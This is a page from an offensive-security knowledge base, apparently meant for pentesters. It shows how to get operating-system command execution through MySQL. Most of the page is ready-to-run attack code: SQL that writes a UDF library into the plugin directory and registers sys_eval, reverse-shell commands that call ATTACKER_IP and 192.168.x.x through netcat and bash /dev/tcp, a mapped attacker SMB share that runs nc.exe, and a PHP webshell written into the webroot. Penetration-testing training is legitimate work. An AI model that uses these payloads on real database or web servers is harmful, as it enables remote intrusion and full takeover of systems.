Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 05. SQL / MySQL

Command Execution

MySQL command execution usually means one of two paths:

write a webshell through OUTFILE
load a native UDF library and call it from SQL

Both paths depend on file write capability and correct paths.


UDF Concept

User Defined Functions allow MySQL to load native shared libraries.

If we can place a malicious .so or .dll into the MySQL plugin directory, we can register a SQL function that executes operating system commands.

The classic function name is:

sys_eval

UDF execution runs as the MySQL service account.


Discover Plugin Directory

SHOW VARIABLES LIKE 'plugin_dir';
SHOW PLUGINS;

Check file-write primitive:

SHOW GRANTS FOR CURRENT_USER();
SHOW VARIABLES LIKE 'secure_file_priv';

The clean path is:

FILE privilege -> write UDF library into plugin_dir -> CREATE FUNCTION -> call sys_eval()

Linux UDF Exploitation

Drop the shared object into the plugin directory:

SELECT load_file('/tmp/lib_mysqludf_sys.so')
INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

Register the function:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

Execute commands:

SELECT sys_eval('id');
SELECT sys_eval('whoami');

Reverse shell examples:

SELECT sys_eval('nc -e /bin/bash ATTACKER_IP 4444');

If nc -e is unavailable:

SELECT sys_eval('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Listener:

nc -lvnp 4444

Windows UDF Exploitation

Load a DLL from an SMB share and write it to the plugin directory:

SELECT load_file('\\\\192.168.x.x\\share\\lib_mysqludf_sys_64.dll')
INTO DUMPFILE 'C:\\xampp\\mysql\\lib\\plugin\\udf.dll';

Register function:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

Execute commands:

SELECT sys_eval('whoami');

Some UDF builds expose sys_bineval or sys_exec instead. Register and call the function that the loaded library actually exports:

CREATE FUNCTION sys_bineval RETURNS INT SONAME 'udf.dll';
SELECT sys_bineval('whoami');

Map an attacker share:

SELECT sys_eval('net use X: \\\\192.168.x.x\\kali /user:kali kali');

Execute staged binary:

SELECT sys_eval('X:\\nc.exe -e cmd.exe 192.168.x.x 80');

Listener:

nc -lvnp 80

Webshell RCE

If MySQL can write into the webroot:

SELECT '<?php echo shell_exec($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';

Execute:

http://TARGET/shell.php?c=id
http://TARGET/shell.php?c=whoami

This chain is common when SQL injection gives enough database privileges and the database server shares a host or filesystem with the web server.


Cleanup

Drop functions created during the lab:

DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
DROP FUNCTION IF EXISTS sys_exec;

Remove written files through OS access or administrator cleanup:

udf.so
udf.dll
shell.php
temporary payloads

The database cannot always delete arbitrary files through SQL. Cleanup may require shell access or lab reset.